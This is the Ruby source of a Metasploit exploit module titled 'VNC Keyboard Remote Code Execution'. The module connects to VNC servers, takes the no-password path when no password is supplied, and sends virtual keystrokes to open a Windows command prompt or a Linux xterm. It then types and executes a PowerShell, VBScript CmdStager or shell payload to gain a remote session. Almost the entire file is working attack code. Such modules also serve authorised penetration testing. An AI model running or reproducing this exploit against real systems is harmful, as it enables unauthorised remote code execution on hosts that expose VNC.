1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/rfb' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking WINDOWS_KEY = "\xff\xeb" ENTER_KEY = "\xff\x0d" include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name'=> 'VNC Keyboard Remote Code Execution', 'Description' => %q{ This module exploits VNC servers by sending virtual keyboard keys and executing a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager payload is typed and executed. On Unix/Linux systems a xterm terminal is opened and a payload is typed and executed. }, 'Author'=> [ 'xistence <xistence[at]0x90.nl>' ], 'Privileged'=> false, 'License' => MSF_LICENSE, 'Platform' => %w{ win unix }, 'Targets' => [ [ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ], [ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ] ], 'References' => [ [ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/'] ], 'DisclosureDate'=> 'Jul 10 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(5900), OptString.new('PASSWORD', [ false, 'The VNC password']), OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20]) ], self.class) end def press_key(key) keyboard_key = "\x04\x01" # Press key keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data keyboard_key << key # The keyboard key # Press the keyboard key. Note: No receive is done as everything is sent in one long data stream sock.put(keyboard_key) end def release_key(key) keyboard_key = "\x04\x00" # Release key keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data keyboard_key << key # The keyboard key # Release the keyboard key. Note: No receive is done as everything is sent in one long data stream sock.put(keyboard_key) end def exec_command(command) values = command.chars.to_a values.each do |value| press_key("\x00#{value}") release_key("\x00#{value}") end press_key(ENTER_KEY) end def start_cmd_prompt print_status("#{rhost}:#{rport} - Opening Run command") # Pressing and holding windows key for 1 second press_key(WINDOWS_KEY) Rex.select(nil, nil, nil, 1) # Press the "r" key press_key("\x00r") # Now we can release both keys again release_key("\x00r") release_key(WINDOWS_KEY) # Wait a second to open run command window select(nil, nil, nil, 1) exec_command('cmd.exe') # Wait a second for cmd.exe prompt to open Rex.select(nil, nil, nil, 1) end def exploit begin alt_key = "\xff\xe9" f2_key = "\xff\xbf" password = datastore['PASSWORD'] connect vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) unless vnc.handshake fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}") end if password.nil? print_status("#{rhost}:#{rport} - Bypass authentication") # The following byte is sent in case the VNC server end doesn't require authentication (empty password) sock.put("\x10") else print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server") if vnc.authenticate(password) print_status("#{rhost}:#{rport} - Authenticated") else fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}") end end # Send shared desktop unless vnc.send_client_init fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}") end if target.name =~ /VBScript CMDStager/ start_cmd_prompt print_status("#{rhost}:#{rport} - Typing and executing payload") execute_cmdstager({:flavor => :vbs, :linemax => 8100}) # Exit the CMD prompt exec_command('exit') elsif target.name =~ /Powershell/ start_cmd_prompt print_status("#{rhost}:#{rport} - Typing and executing payload") command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true}) # Execute powershell payload and make sure we exit our CMD prompt exec_command("#{command} && exit") elsif target.name =~ /Linux/ print_status("#{rhost}:#{rport} - Opening 'Run Application'") # Press the ALT key and hold it for a second press_key(alt_key) Rex.select(nil, nil, nil, 1) # Press F2 to start up "Run application" press_key(f2_key) # Release ALT + F2 release_key(alt_key) release_key(f2_key) # Wait a second for "Run application" to start Rex.select(nil, nil, nil, 1) # Start a xterm window print_status("#{rhost}:#{rport} - Opening xterm") exec_command('xterm') # Wait a second for "xterm" to start Rex.select(nil, nil, nil, 1) # Execute our payload and exit (close) the xterm window print_status("#{rhost}:#{rport} - Typing and executing payload") exec_command("nohup #{payload.encoded} &") exec_command('exit') end print_status("#{rhost}:#{rport} - Waiting for session...") (datastore['TIME_WAIT']).times do Rex.sleep(1) # Success! session is here! break if session_created? end rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}") ensure disconnect end end def execute_command(cmd, opts = {}) exec_command(cmd) end end |